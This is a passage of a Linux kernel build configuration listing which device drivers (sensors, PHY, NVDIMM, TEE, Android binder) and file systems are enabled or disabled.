# CONFIG_REMOTEPROC is not set
# end of Remoteproc drivers

#
# Rpmsg drivers
#
# CONFIG_RPMSG_QCOM_GLINK_RPM is not set
# CONFIG_RPMSG_VIRTIO is not set
# end of Rpmsg drivers

CONFIG_SOUNDWIRE=y

#
# SoundWire Devices
#
# CONFIG_SOUNDWIRE_AMD is not set
# CONFIG_SOUNDWIRE_INTEL is not set
# CONFIG_SOUNDWIRE_QCOM is not set

#
# SOC (System On Chip) specific Drivers
#

#
# Amlogic SoC drivers
#
# end of Amlogic SoC drivers

#
# Broadcom SoC drivers
#
# end of Broadcom SoC drivers

#
# NXP/Freescale QorIQ SoC drivers
#
# end of NXP/Freescale QorIQ SoC drivers

#
# fujitsu SoC drivers
#
# end of fujitsu SoC drivers

#
# i.MX SoC drivers
#
# end of i.MX SoC drivers

#
# Enable LiteX SoC Builder specific drivers
#
# CONFIG_LITEX_SOC_CONTROLLER is not set
# end of Enable LiteX SoC Builder specific drivers

# CONFIG_WPCM450_SOC is not set
CONFIG_QCOM_QMI_HELPERS=y
# CONFIG_SOC_TI is not set

#
# Xilinx SoC drivers
#
# end of Xilinx SoC drivers
# end of SOC (System On Chip) specific Drivers

#
# PM Domains
#

#
# Amlogic PM Domains
#
# end of Amlogic PM Domains

#
# Broadcom PM Domains
#
# end of Broadcom PM Domains

#
# i.MX PM Domains
#
# end of i.MX PM Domains

#
# Qualcomm PM Domains
#
# end of Qualcomm PM Domains
# end of PM Domains

# CONFIG_PM_DEVFREQ is not set
CONFIG_EXTCON=y

#
# Extcon Device Drivers
#
# CONFIG_EXTCON_ADC_JACK is not set
# CONFIG_EXTCON_FSA9480 is not set
# CONFIG_EXTCON_GPIO is not set
# CONFIG_EXTCON_INTEL_INT3496 is not set
CONFIG_EXTCON_INTEL_CHT_WC=y
# CONFIG_EXTCON_LC824206XA is not set
# CONFIG_EXTCON_MAX3355 is not set
# CONFIG_EXTCON_MAX14526 is not set
CONFIG_EXTCON_PTN5150=y
# CONFIG_EXTCON_RT8973A is not set
# CONFIG_EXTCON_SM5502 is not set
# CONFIG_EXTCON_USB_GPIO is not set
CONFIG_EXTCON_USBC_TUSB320=y
# CONFIG_MEMORY is not set
CONFIG_IIO=y
CONFIG_IIO_BUFFER=y
# CONFIG_IIO_BUFFER_CB is not set
# CONFIG_IIO_BUFFER_DMA is not set
# CONFIG_IIO_BUFFER_DMAENGINE is not set
# CONFIG_IIO_BUFFER_HW_CONSUMER is not set
CONFIG_IIO_KFIFO_BUF=y
CONFIG_IIO_TRIGGERED_BUFFER=y
# CONFIG_IIO_CONFIGFS is not set
CONFIG_IIO_TRIGGER=y
CONFIG_IIO_CONSUMERS_PER_TRIGGER=2
# CONFIG_IIO_SW_DEVICE is not set
# CONFIG_IIO_SW_TRIGGER is not set
# CONFIG_IIO_TRIGGERED_EVENT is not set

#
# Accelerometers
#
# CONFIG_ADIS16201 is not set
# CONFIG_ADIS16209 is not set
# CONFIG_ADXL313_I2C is not set
# CONFIG_ADXL313_SPI is not set
# CONFIG_ADXL345_I2C is not set
# CONFIG_ADXL345_SPI is not set
# CONFIG_ADXL355_I2C is not set
# CONFIG_ADXL355_SPI is not set
# CONFIG_ADXL367_SPI is not set
# CONFIG_ADXL367_I2C is not set
# CONFIG_ADXL372_SPI is not set
# CONFIG_ADXL372_I2C is not set
# CONFIG_ADXL380_SPI is not set
# CONFIG_ADXL380_I2C is not set
# CONFIG_BMA180 is not set
# CONFIG_BMA220 is not set
# CONFIG_BMA400 is not set
# CONFIG_BMC150_ACCEL is not set
# CONFIG_BMI088_ACCEL is not set
# CONFIG_DA280 is not set
# CONFIG_DA311 is not set
# CONFIG_DMARD06 is not set
# CONFIG_DMARD09 is not set
# CONFIG_DMARD10 is not set
# CONFIG_FXLS8962AF_I2C is not set
# CONFIG_FXLS8962AF_SPI is not set
CONFIG_HID_SENSOR_ACCEL_3D=y
# CONFIG_IIO_ST_ACCEL_3AXIS is not set
# CONFIG_IIO_KX022A_SPI is not set
# CONFIG_IIO_KX022A_I2C is not set
# CONFIG_KXSD9 is not set
# CONFIG_KXCJK1013 is not set
# CONFIG_MC3230 is not set
# CONFIG_MMA7455_I2C is not set
# CONFIG_MMA7455_SPI is not set
# CONFIG_MMA7660 is not set
# CONFIG_MMA8452 is not set
# CONFIG_MMA9551 is not set
# CONFIG_MMA9553 is not set
# CONFIG_MSA311 is not set
# CONFIG_MXC4005 is not set
# CONFIG_MXC6255 is not set
# CONFIG_SCA3000 is not set
# CONFIG_SCA3300 is not set
# CONFIG_STK8312 is not set
# CONFIG_STK8BA50 is not set
# end of Accelerometers

#
# Analog to digital converters
#
# CONFIG_AD4000 is not set
# CONFIG_AD4080 is not set
# CONFIG_AD4130 is not set
# CONFIG_AD4134 is not set
# CONFIG_AD4170_4 is not set
# CONFIG_AD4691 is not set
# CONFIG_AD4695 is not set
# CONFIG_AD7091R5 is not set
# CONFIG_AD7091R8 is not set
# CONFIG_AD7124 is not set
# CONFIG_AD7173 is not set
# CONFIG_AD7191 is not set
# CONFIG_AD7192 is not set
# CONFIG_AD7266 is not set
# CONFIG_AD7280 is not set
# CONFIG_AD7291 is not set
# CONFIG_AD7292 is not set
# CONFIG_AD7298 is not set
# CONFIG_AD7380 is not set
# CONFIG_AD7476 is not set
# CONFIG_AD7606_IFACE_PARALLEL is not set
# CONFIG_AD7606_IFACE_SPI is not set
# CONFIG_AD7766 is not set
# CONFIG_AD7768_1 is not set
# CONFIG_AD7779 is not set
# CONFIG_AD7780 is not set
# CONFIG_AD7791 is not set
# CONFIG_AD7793 is not set
# CONFIG_AD7887 is not set
# CONFIG_AD7923 is not set
# CONFIG_AD7944 is not set
# CONFIG_AD7949 is not set
# CONFIG_AD799X is not set
# CONFIG_AD9467 is not set
# CONFIG_ADE9000 is not set
# CONFIG_CC10001_ADC is not set
CONFIG_DLN2_ADC=y
# CONFIG_ENVELOPE_DETECTOR is not set
# CONFIG_GEHC_PMC_ADC is not set
# CONFIG_HI8435 is not set
# CONFIG_HX711 is not set
# CONFIG_INA2XX_ADC is not set
# CONFIG_LTC2309 is not set
# CONFIG_LTC2471 is not set
# CONFIG_LTC2485 is not set
# CONFIG_LTC2496 is not set
# CONFIG_LTC2497 is not set
# CONFIG_MAX1027 is not set
# CONFIG_MAX11100 is not set
# CONFIG_MAX1118 is not set
# CONFIG_MAX11205 is not set
# CONFIG_MAX11410 is not set
# CONFIG_MAX1241 is not set
# CONFIG_MAX1363 is not set
# CONFIG_MAX14001 is not set
# CONFIG_MAX34408 is not set
# CONFIG_MAX9611 is not set
# CONFIG_MCP320X is not set
# CONFIG_MCP3422 is not set
# CONFIG_MCP3564 is not set
# CONFIG_MCP3911 is not set
# CONFIG_MEDIATEK_MT6360_ADC is not set
# CONFIG_MEDIATEK_MT6370_ADC is not set
# CONFIG_NAU7802 is not set
# CONFIG_NCT7201 is not set
# CONFIG_PAC1921 is not set
# CONFIG_PAC1934 is not set
# CONFIG_ROHM_BD79112 is not set
# CONFIG_ROHM_BD79124 is not set
# CONFIG_RICHTEK_RTQ6056 is not set
# CONFIG_SD_ADC_MODULATOR is not set
# CONFIG_TI_ADC081C is not set
# CONFIG_TI_ADC0832 is not set
# CONFIG_TI_ADC084S021 is not set
# CONFIG_TI_ADC108S102 is not set
# CONFIG_TI_ADC12138 is not set
# CONFIG_TI_ADC128S052 is not set
# CONFIG_TI_ADC161S626 is not set
# CONFIG_TI_ADS1015 is not set
# CONFIG_TI_ADS1018 is not set
# CONFIG_TI_ADS1100 is not set
# CONFIG_TI_ADS1119 is not set
# CONFIG_TI_ADS112C04 is not set
# CONFIG_TI_ADS112C14 is not set
# CONFIG_TI_ADS124S08 is not set
# CONFIG_TI_ADS1298 is not set
# CONFIG_TI_ADS131E08 is not set
# CONFIG_TI_ADS131M02 is not set
# CONFIG_TI_ADS7138 is not set
# CONFIG_TI_ADS7924 is not set
# CONFIG_TI_ADS7950 is not set
# CONFIG_TI_ADS8344 is not set
# CONFIG_TI_ADS8688 is not set
# CONFIG_TI_LMP92064 is not set
# CONFIG_TI_TLC4541 is not set
# CONFIG_TI_TSC2046 is not set
# CONFIG_TWL4030_MADC is not set
# CONFIG_TWL6030_GPADC is not set
# CONFIG_VERSAL_SYSMON_I2C is not set
# CONFIG_VF610_ADC is not set
CONFIG_VIPERBOARD_ADC=y
# CONFIG_XILINX_XADC is not set
# end of Analog to digital converters

#
# Analog to digital and digital to analog converters
#
# CONFIG_AD74115 is not set
# CONFIG_AD74413R is not set
# end of Analog to digital and digital to analog converters

#
# Analog Front Ends
#
# CONFIG_IIO_RESCALE is not set
# end of Analog Front Ends

#
# Amplifiers
#
# CONFIG_AD8366 is not set
# CONFIG_ADA4250 is not set
# CONFIG_ADL8113 is not set
# CONFIG_HMC425 is not set
# end of Amplifiers

#
# Capacitance to digital converters
#
# CONFIG_AD7150 is not set
# CONFIG_AD7746 is not set
# end of Capacitance to digital converters

#
# Chemical Sensors
#
# CONFIG_AOSONG_AGS02MA is not set
# CONFIG_ATLAS_PH_SENSOR is not set
# CONFIG_ATLAS_EZO_SENSOR is not set
# CONFIG_BME680 is not set
# CONFIG_CCS811 is not set
# CONFIG_ENS160 is not set
# CONFIG_IAQCORE is not set
# CONFIG_MHZ19B is not set
# CONFIG_PMS7003 is not set
# CONFIG_SCD30_CORE is not set
# CONFIG_SCD4X is not set
# CONFIG_SEN0322 is not set
# CONFIG_SENSIRION_SGP30 is not set
# CONFIG_SENSIRION_SGP40 is not set
# CONFIG_SPS30_I2C is not set
# CONFIG_SPS30_SERIAL is not set
# CONFIG_SENSEAIR_SUNRISE_CO2 is not set
# CONFIG_VZ89X is not set
# end of Chemical Sensors

#
# Hid Sensor IIO Common
#
CONFIG_HID_SENSOR_IIO_COMMON=y
CONFIG_HID_SENSOR_IIO_TRIGGER=y
# end of Hid Sensor IIO Common

#
# IIO SCMI Sensors
#
# end of IIO SCMI Sensors

#
# SSP Sensor Common
#
# CONFIG_IIO_SSP_SENSORHUB is not set
# end of SSP Sensor Common

#
# Digital to analog converters
#
# CONFIG_AD3530R is not set
# CONFIG_AD3552R_HS is not set
# CONFIG_AD3552R is not set
# CONFIG_AD5064 is not set
# CONFIG_AD5360 is not set
# CONFIG_AD5380 is not set
# CONFIG_AD5421 is not set
# CONFIG_AD5446_SPI is not set
# CONFIG_AD5446_I2C is not set
# CONFIG_AD5449 is not set
# CONFIG_AD5592R is not set
# CONFIG_AD5593R is not set
# CONFIG_AD5504 is not set
# CONFIG_AD5624R_SPI is not set
# CONFIG_AD5706R is not set
# CONFIG_AD9739A is not set
# CONFIG_LTC2688 is not set
# CONFIG_AD5686_SPI is not set
# CONFIG_AD5696_I2C is not set
# CONFIG_AD5755 is not set
# CONFIG_AD5758 is not set
# CONFIG_AD5761 is not set
# CONFIG_AD5764 is not set
# CONFIG_AD5766 is not set
# CONFIG_AD5770R is not set
# CONFIG_AD5791 is not set
# CONFIG_AD7293 is not set
# CONFIG_AD7303 is not set
# CONFIG_AD8460 is not set
# CONFIG_AD8801 is not set
# CONFIG_BD79703 is not set
# CONFIG_CIO_DAC is not set
# CONFIG_DPOT_DAC is not set
# CONFIG_DS4424 is not set
# CONFIG_LTC1660 is not set
# CONFIG_LTC2632 is not set
# CONFIG_LTC2664 is not set
# CONFIG_M62332 is not set
# CONFIG_MAX517 is not set
# CONFIG_MAX22007 is not set
# CONFIG_MAX5522 is not set
# CONFIG_MAX5821 is not set
# CONFIG_MCP4725 is not set
# CONFIG_MCP4728 is not set
# CONFIG_MCP47A1 is not set
# CONFIG_MCP47FEB02 is not set
# CONFIG_MCP4821 is not set
# CONFIG_MCP4922 is not set
# CONFIG_TI_DAC082S085 is not set
# CONFIG_TI_DAC5571 is not set
# CONFIG_TI_DAC7311 is not set
# CONFIG_TI_DAC7612 is not set
# CONFIG_VF610_DAC is not set
# end of Digital to analog converters

#
# IIO dummy driver
#
# end of IIO dummy driver

#
# Filters
#
# CONFIG_ADMV8818 is not set
# end of Filters

#
# Flow sensors
#
# CONFIG_SENSIRION_SLF3S is not set
# end of Flow sensors

#
# Frequency Synthesizers DDS/PLL
#

#
# Clock Generator/Distribution
#
# CONFIG_AD9523 is not set
# end of Clock Generator/Distribution

#
# Phase-Locked Loop (PLL) frequency synthesizers
#
# CONFIG_ADF41513 is not set
# CONFIG_ADF4350 is not set
# CONFIG_ADF4371 is not set
# CONFIG_ADF4377 is not set
# CONFIG_ADMFM2000 is not set
# CONFIG_ADMV1013 is not set
# CONFIG_ADMV1014 is not set
# CONFIG_ADMV4420 is not set
# CONFIG_ADRF6780 is not set
# end of Phase-Locked Loop (PLL) frequency synthesizers
# end of Frequency Synthesizers DDS/PLL

#
# Digital gyroscope sensors
#
# CONFIG_ADIS16080 is not set
# CONFIG_ADIS16130 is not set
# CONFIG_ADIS16136 is not set
# CONFIG_ADIS16260 is not set
# CONFIG_ADXRS290 is not set
# CONFIG_ADXRS450 is not set
# CONFIG_BMG160 is not set
# CONFIG_FXAS21002C is not set
CONFIG_HID_SENSOR_GYRO_3D=y
# CONFIG_MPU3050_I2C is not set
# CONFIG_IIO_ST_GYRO_3AXIS is not set
# CONFIG_ITG3200 is not set
# end of Digital gyroscope sensors

#
# Health Sensors
#

#
# Heart Rate Monitors
#
# CONFIG_AFE4403 is not set
# CONFIG_AFE4404 is not set
# CONFIG_MAX30100 is not set
# CONFIG_MAX30102 is not set
# end of Heart Rate Monitors
# end of Health Sensors

#
# Humidity sensors
#
# CONFIG_AM2315 is not set
# CONFIG_DHT11 is not set
# CONFIG_ENS210 is not set
# CONFIG_HDC100X is not set
# CONFIG_HDC2010 is not set
# CONFIG_HDC3020 is not set
CONFIG_HID_SENSOR_HUMIDITY=y
# CONFIG_HTS221 is not set
# CONFIG_HTU21 is not set
# CONFIG_SI7005 is not set
# CONFIG_SI7020 is not set
# end of Humidity sensors

#
# Inertial measurement units
#
# CONFIG_ADIS16400 is not set
# CONFIG_ADIS16460 is not set
# CONFIG_ADIS16475 is not set
# CONFIG_ADIS16480 is not set
# CONFIG_ADIS16550 is not set
# CONFIG_BMI160_I2C is not set
# CONFIG_BMI160_SPI is not set
# CONFIG_BMI270_I2C is not set
# CONFIG_BMI270_SPI is not set
# CONFIG_BMI323_I2C is not set
# CONFIG_BMI323_SPI is not set
# CONFIG_BOSCH_BNO055_SERIAL is not set
# CONFIG_BOSCH_BNO055_I2C is not set
# CONFIG_FXOS8700_I2C is not set
# CONFIG_FXOS8700_SPI is not set
# CONFIG_KMX61 is not set
# CONFIG_INV_ICM42600_I2C is not set
# CONFIG_INV_ICM42600_SPI is not set
# CONFIG_INV_ICM42607_I2C is not set
# CONFIG_INV_ICM42607_SPI is not set
# CONFIG_INV_ICM45600_I2C is not set
# CONFIG_INV_ICM45600_SPI is not set
# CONFIG_INV_MPU6050_I2C is not set
# CONFIG_INV_MPU6050_SPI is not set
# CONFIG_SMI240 is not set
# CONFIG_SMI330_I2C is not set
# CONFIG_SMI330_SPI is not set
# CONFIG_IIO_ST_LSM6DSX is not set
# CONFIG_IIO_ST_LSM9DS0 is not set
# end of Inertial measurement units

#
# Light sensors
#
# CONFIG_ACPI_ALS is not set
# CONFIG_ADJD_S311 is not set
# CONFIG_ADUX1020 is not set
# CONFIG_AL3000A is not set
# CONFIG_AL3010 is not set
# CONFIG_AL3320A is not set
# CONFIG_APDS9160 is not set
# CONFIG_APDS9300 is not set
# CONFIG_APDS9306 is not set
# CONFIG_APDS9960 is not set
# CONFIG_APDS9999 is not set
# CONFIG_AS73211 is not set
# CONFIG_BH1745 is not set
# CONFIG_BH1750 is not set
# CONFIG_BH1780 is not set
# CONFIG_CM32181 is not set
# CONFIG_CM3232 is not set
# CONFIG_CM3323 is not set
# CONFIG_CM3605 is not set
# CONFIG_CM36651 is not set
# CONFIG_GP2AP002 is not set
# CONFIG_GP2AP020A00F is not set
# CONFIG_SENSORS_ISL29018 is not set
# CONFIG_SENSORS_ISL29028 is not set
# CONFIG_ISL29125 is not set
# CONFIG_ISL76682 is not set
CONFIG_HID_SENSOR_ALS=y
CONFIG_HID_SENSOR_PROX=y
# CONFIG_JSA1212 is not set
# CONFIG_ROHM_BU27034 is not set
# CONFIG_RPR0521 is not set
# CONFIG_LTR390 is not set
# CONFIG_LTR501 is not set
# CONFIG_LTRF216A is not set
# CONFIG_LV0104CS is not set
# CONFIG_MAX44000 is not set
# CONFIG_MAX44009 is not set
# CONFIG_NOA1305 is not set
# CONFIG_OPT3001 is not set
# CONFIG_OPT4001 is not set
# CONFIG_OPT4060 is not set
# CONFIG_PA12203001 is not set
# CONFIG_SI1133 is not set
# CONFIG_SI1145 is not set
# CONFIG_STK3310 is not set
# CONFIG_ST_UVIS25 is not set
# CONFIG_TCS3414 is not set
# CONFIG_TCS3472 is not set
# CONFIG_SENSORS_TSL2563 is not set
# CONFIG_TSL2583 is not set
# CONFIG_TSL2591 is not set
# CONFIG_TSL2772 is not set
# CONFIG_TSL4531 is not set
# CONFIG_US5182D is not set
# CONFIG_VCNL4000 is not set
# CONFIG_VCNL4035 is not set
# CONFIG_VEML3235 is not set
# CONFIG_VEML3328 is not set
# CONFIG_VEML6030 is not set
# CONFIG_VEML6040 is not set
# CONFIG_VEML6046X00 is not set
# CONFIG_VEML6070 is not set
# CONFIG_VEML6075 is not set
# CONFIG_VL6180 is not set
# CONFIG_ZOPT2201 is not set
# end of Light sensors

#
# Magnetometer sensors
#
# CONFIG_AF8133J is not set
# CONFIG_AK8974 is not set
# CONFIG_AK8975 is not set
# CONFIG_AK09911 is not set
# CONFIG_ALS31300 is not set
# CONFIG_BMC150_MAGN_I2C is not set
# CONFIG_BMC150_MAGN_SPI is not set
# CONFIG_MAG3110 is not set
CONFIG_HID_SENSOR_MAGNETOMETER_3D=y
# CONFIG_MMC35240 is not set
# CONFIG_MMC5633 is not set
# CONFIG_MMC5983 is not set
# CONFIG_IIO_ST_MAGN_3AXIS is not set
# CONFIG_INFINEON_TLV493D is not set
# CONFIG_QMC5883L is not set
# CONFIG_QMC6308 is not set
# CONFIG_SENSORS_HMC5843_I2C is not set
# CONFIG_SENSORS_HMC5843_SPI is not set
# CONFIG_SENSORS_RM3100_I2C is not set
# CONFIG_SENSORS_RM3100_SPI is not set
# CONFIG_SI7210 is not set
# CONFIG_TI_TMAG5273 is not set
# CONFIG_YAMAHA_YAS530 is not set
# end of Magnetometer sensors

#
# Multiplexers
#
# CONFIG_IIO_MUX is not set
# end of Multiplexers

#
# Inclinometer sensors
#
CONFIG_HID_SENSOR_INCLINOMETER_3D=y
CONFIG_HID_SENSOR_DEVICE_ROTATION=y
# end of Inclinometer sensors

#
# Triggers - standalone
#
# CONFIG_IIO_SYSFS_TRIGGER is not set
# end of Triggers - standalone

#
# Linear and angular position sensors
#
CONFIG_HID_SENSOR_CUSTOM_INTEL_HINGE=y
# end of Linear and angular position sensors

#
# Digital potentiometers
#
# CONFIG_AD5110 is not set
# CONFIG_AD5272 is not set
# CONFIG_DS1803 is not set
# CONFIG_MAX5432 is not set
# CONFIG_MAX5481 is not set
# CONFIG_MAX5487 is not set
# CONFIG_MCP4018 is not set
# CONFIG_MCP4131 is not set
# CONFIG_MCP4531 is not set
# CONFIG_MCP41010 is not set
# CONFIG_TPL0102 is not set
# CONFIG_X9250 is not set
# end of Digital potentiometers

#
# Digital potentiostats
#
# CONFIG_LMP91000 is not set
# end of Digital potentiostats

#
# Pressure sensors
#
# CONFIG_ABP060MG is not set
# CONFIG_ABP2030PA_I2C is not set
# CONFIG_ABP2030PA_SPI is not set
# CONFIG_ROHM_BM1390 is not set
# CONFIG_BMP280 is not set
# CONFIG_DLHL60D is not set
# CONFIG_DPS310 is not set
CONFIG_HID_SENSOR_PRESS=y
# CONFIG_HP03 is not set
# CONFIG_HSC030PA is not set
# CONFIG_ICP10100 is not set
# CONFIG_MPL115_I2C is not set
# CONFIG_MPL115_SPI is not set
# CONFIG_MPL3115 is not set
# CONFIG_MPRLS0025PA_I2C is not set
# CONFIG_MPRLS0025PA_SPI is not set
# CONFIG_MS5611 is not set
# CONFIG_MS5637 is not set
# CONFIG_SDP500 is not set
# CONFIG_IIO_ST_PRESS is not set
# CONFIG_T5403 is not set
# CONFIG_HP206C is not set
# CONFIG_ZPA2326 is not set
# CONFIG_ADP810 is not set
# end of Pressure sensors

#
# Lightning sensors
#
# CONFIG_AS3935 is not set
# end of Lightning sensors

#
# Proximity and distance sensors
#
# CONFIG_D3323AA is not set
# CONFIG_HX9023S is not set
# CONFIG_IRSD200 is not set
# CONFIG_ISL29501 is not set
# CONFIG_LIDAR_LITE_V2 is not set
# CONFIG_MB1232 is not set
# CONFIG_PING is not set
# CONFIG_RFD77402 is not set
# CONFIG_SRF04 is not set
# CONFIG_SX9310 is not set
# CONFIG_SX9324 is not set
# CONFIG_SX9360 is not set
# CONFIG_SX9500 is not set
# CONFIG_SRF08 is not set
# CONFIG_VCNL3020 is not set
# CONFIG_VL53L0X_I2C is not set
# CONFIG_VL53L1X_I2C is not set
# CONFIG_AW96103 is not set
# end of Proximity and distance sensors

#
# Resolver to digital converters
#
# CONFIG_AD2S90 is not set
# CONFIG_AD2S1200 is not set
# CONFIG_AD2S1210 is not set
# end of Resolver to digital converters

#
# Temperature sensors
#
# CONFIG_LTC2983 is not set
# CONFIG_MAXIM_THERMOCOUPLE is not set
CONFIG_HID_SENSOR_TEMP=y
# CONFIG_MLX90614 is not set
# CONFIG_MLX90632 is not set
# CONFIG_MLX90635 is not set
# CONFIG_TMP006 is not set
# CONFIG_TMP007 is not set
# CONFIG_TMP117 is not set
# CONFIG_TSYS01 is not set
# CONFIG_TSYS02D is not set
# CONFIG_MAX30208 is not set
# CONFIG_MAX31856 is not set
# CONFIG_MAX31865 is not set
# CONFIG_MCP9600 is not set
# end of Temperature sensors

# CONFIG_NTB is not set
# CONFIG_PWM is not set

#
# IRQ chip support
#
CONFIG_IRQCHIP=y
CONFIG_IRQ_MSI_LIB=y
# CONFIG_AL_FIC is not set
# CONFIG_XILINX_INTC is not set
# end of IRQ chip support

# CONFIG_IPACK_BUS is not set
CONFIG_RESET_CONTROLLER=y
# CONFIG_RESET_GPIO is not set
# CONFIG_RESET_INTEL_GW is not set
# CONFIG_RESET_SIMPLE is not set
# CONFIG_RESET_TI_SYSCON is not set
# CONFIG_RESET_TI_TPS380X is not set

#
# PHY Subsystem
#
CONFIG_GENERIC_PHY=y
# CONFIG_PHY_CAN_TRANSCEIVER is not set
CONFIG_PHY_GOOGLE_USB=y
CONFIG_USB_LGM_PHY=y
# CONFIG_PHY_NXP_PTN3222 is not set
# CONFIG_PHY_NXP_TJA1145 is not set

#
# PHY drivers for Broadcom platforms
#
# CONFIG_BCM_KONA_USB2_PHY is not set
# end of PHY drivers for Broadcom platforms

# CONFIG_PHY_CADENCE_TORRENT is not set
# CONFIG_PHY_CADENCE_DPHY is not set
# CONFIG_PHY_CADENCE_DPHY_RX is not set
# CONFIG_PHY_CADENCE_SIERRA is not set
# CONFIG_PHY_CADENCE_SALVO is not set
# CONFIG_PHY_INTEL_LGM_COMBO is not set
# CONFIG_PHY_INTEL_LGM_EMMC is not set
# CONFIG_PHY_PXA_28NM_HSIC is not set
# CONFIG_PHY_PXA_28NM_USB2 is not set
CONFIG_PHY_CPCAP_USB=y
# CONFIG_PHY_MAPPHONE_MDM6600 is not set
# CONFIG_PHY_OCELOT_SERDES is not set
CONFIG_PHY_QCOM_USB_HS=y
CONFIG_PHY_QCOM_USB_HSIC=y
CONFIG_PHY_SAMSUNG_USB2=y
# CONFIG_PHY_TI_DS125DF111 is not set
CONFIG_PHY_TUSB1210=y
# end of PHY Subsystem

# CONFIG_POWERCAP is not set
# CONFIG_MCB is not set

#
# Performance monitor support
#
# CONFIG_DWC_PCIE_PMU is not set
# end of Performance monitor support

CONFIG_RAS=y
CONFIG_USB4=y
CONFIG_USB4_CONFIGFS=y
# CONFIG_USB4_DEBUGFS_WRITE is not set
# CONFIG_USB4_DMA_TEST is not set
# CONFIG_USB4_STREAM is not set

#
# Android
#
# CONFIG_ANDROID_BINDER_IPC is not set
CONFIG_ANDROID_BINDER_IPC_RUST=y
CONFIG_ANDROID_BINDER_DEVICES="binder0,binder1"
# end of Android

CONFIG_LIBNVDIMM=y
CONFIG_BLK_DEV_PMEM=y
CONFIG_ND_CLAIM=y
CONFIG_ND_BTT=y
CONFIG_BTT=y
CONFIG_ND_PFN=y
CONFIG_NVDIMM_PFN=y
CONFIG_NVDIMM_DAX=y
CONFIG_OF_PMEM=y
# CONFIG_RAMDAX is not set
CONFIG_NVDIMM_KEYS=y
# CONFIG_NVDIMM_SECURITY_TEST is not set
CONFIG_DAX=y
CONFIG_DEV_DAX=y
# CONFIG_DEV_DAX_PMEM is not set
CONFIG_DEV_DAX_FSDEV=y
# CONFIG_DEV_DAX_KMEM is not set
CONFIG_NVMEM=y
CONFIG_NVMEM_SYSFS=y
CONFIG_NVMEM_LAYOUTS=y

#
# Layout Types
#
# CONFIG_NVMEM_LAYOUT_SL28_VPD is not set
# CONFIG_NVMEM_LAYOUT_ONIE_TLV is not set
# CONFIG_NVMEM_LAYOUT_U_BOOT_ENV is not set
# end of Layout Types

# CONFIG_EEPROM_AT24 is not set
# CONFIG_EEPROM_AT25 is not set
# CONFIG_EEPROM_93XX46 is not set
# CONFIG_EEPROM_EE1004 is not set
# CONFIG_EEPROM_M24LR is not set
# CONFIG_NVMEM_RMEM is not set
# CONFIG_NVMEM_U_BOOT_ENV is not set

#
# HW tracing support
#
# CONFIG_STM is not set
# CONFIG_INTEL_TH is not set
# end of HW tracing support

# CONFIG_FPGA is not set
# CONFIG_FSI is not set
CONFIG_TEE=y
CONFIG_TEE_DMABUF_HEAPS=y
CONFIG_OPTEE_STATIC_PROTMEM_POOL=y
# CONFIG_MUX_CORE is not set
# CONFIG_SIOX is not set
# CONFIG_SLIMBUS is not set
# CONFIG_INTERCONNECT is not set
CONFIG_COUNTER=y
# CONFIG_INTEL_QEP is not set
# CONFIG_INTERRUPT_CNT is not set
CONFIG_MOST=y
CONFIG_MOST_USB_HDM=y
# CONFIG_MOST_CDEV is not set
# CONFIG_MOST_SND is not set
# CONFIG_PECI is not set
# CONFIG_HTE is not set
# end of Device Drivers

#
# File systems
#
CONFIG_DCACHE_WORD_ACCESS=y
CONFIG_VALIDATE_FS_PARSER=y
CONFIG_FS_IOMAP=y
CONFIG_FS_STACK=y
CONFIG_BUFFER_HEAD=y
CONFIG_LEGACY_DIRECT_IO=y
# CONFIG_EXT2_FS is not set
CONFIG_EXT4_FS=y
CONFIG_EXT4_USE_FOR_EXT2=y
CONFIG_EXT4_FS_POSIX_ACL=y
CONFIG_EXT4_FS_SECURITY=y
# CONFIG_EXT4_DEBUG is not set
CONFIG_JBD2=y
# CONFIG_JBD2_DEBUG is not set
CONFIG_FS_MBCACHE=y
CONFIG_JFS_FS=y
CONFIG_JFS_POSIX_ACL=y
CONFIG_JFS_SECURITY=y
CONFIG_JFS_DEBUG=y
# CONFIG_JFS_STATISTICS is not set
CONFIG_XFS_FS=y
# CONFIG_XFS_SUPPORT_V4 is not set
# CONFIG_XFS_SUPPORT_ASCII_CI is not set
CONFIG_XFS_QUOTA=y
CONFIG_XFS_POSIX_ACL=y
CONFIG_XFS_RT=y
CONFIG_XFS_DRAIN_INTENTS=y
CONFIG_XFS_LIVE_HOOKS=y
CONFIG_XFS_MEMORY_BUFS=y
CONFIG_XFS_BTREE_IN_MEM=y
CONFIG_XFS_ONLINE_SCRUB=y
# CONFIG_XFS_ONLINE_SCRUB_STATS is not set
CONFIG_XFS_ONLINE_REPAIR=y
# CONFIG_XFS_WARN is not set
# CONFIG_XFS_DEBUG is not set
CONFIG_GFS2_FS=y
CONFIG_GFS2_FS_LOCKING_DLM=y
CONFIG_OCFS2_FS=y
CONFIG_OCFS2_FS_O2CB=y
CONFIG_OCFS2_FS_USERSPACE_CLUSTER=y
CONFIG_OCFS2_FS_STATS=y
# CONFIG_OCFS2_DEBUG_MASKLOG is not set
CONFIG_OCFS2_DEBUG_FS=y
CONFIG_BTRFS_FS=y
CONFIG_BTRFS_FS_POSIX_ACL=y
# CONFIG_BTRFS_FS_RUN_SANITY_TESTS is not set
# CONFIG_BTRFS_DEBUG is not set
CONFIG_BTRFS_ASSERT=y
# CONFIG_BTRFS_EXPERIMENTAL is not set
CONFIG_NILFS2_FS=y
CONFIG_F2FS_FS=y
CONFIG_F2FS_STAT_FS=y
CONFIG_F2FS_FS_XATTR=y
CONFIG_F2FS_FS_POSIX_ACL=y
CONFIG_F2FS_FS_SECURITY=y
CONFIG_F2FS_CHECK_FS=y
CONFIG_F2FS_FAULT_INJECTION=y
CONFIG_F2FS_FS_COMPRESSION=y
CONFIG_F2FS_FS_LZO=y
CONFIG_F2FS_FS_LZORLE=y
CONFIG_F2FS_FS_LZ4=y
CONFIG_F2FS_FS_LZ4HC=y
CONFIG_F2FS_FS_ZSTD=y
# CONFIG_F2FS_IOSTAT is not set
# CONFIG_F2FS_UNFAIR_RWSEM is not set
CONFIG_ZONEFS_FS=y
CONFIG_FS_DAX=y
CONFIG_FS_DAX_PMD=y
CONFIG_FS_POSIX_ACL=y
CONFIG_EXPORTFS=y
CONFIG_EXPORTFS_BLOCK_OPS=y
CONFIG_FILE_LOCKING=y
CONFIG_FS_ENCRYPTION=y
CONFIG_FS_ENCRYPTION_ALGS=y
CONFIG_FS_ENCRYPTION_INLINE_CRYPT=y
CONFIG_FS_VERITY=y
CONFIG_FS_VERITY_BUILTIN_SIGNATURES=y
CONFIG_FSNOTIFY=y
CONFIG_DNOTIFY=y
CONFIG_INOTIFY_USER=y
CONFIG_FANOTIFY=y
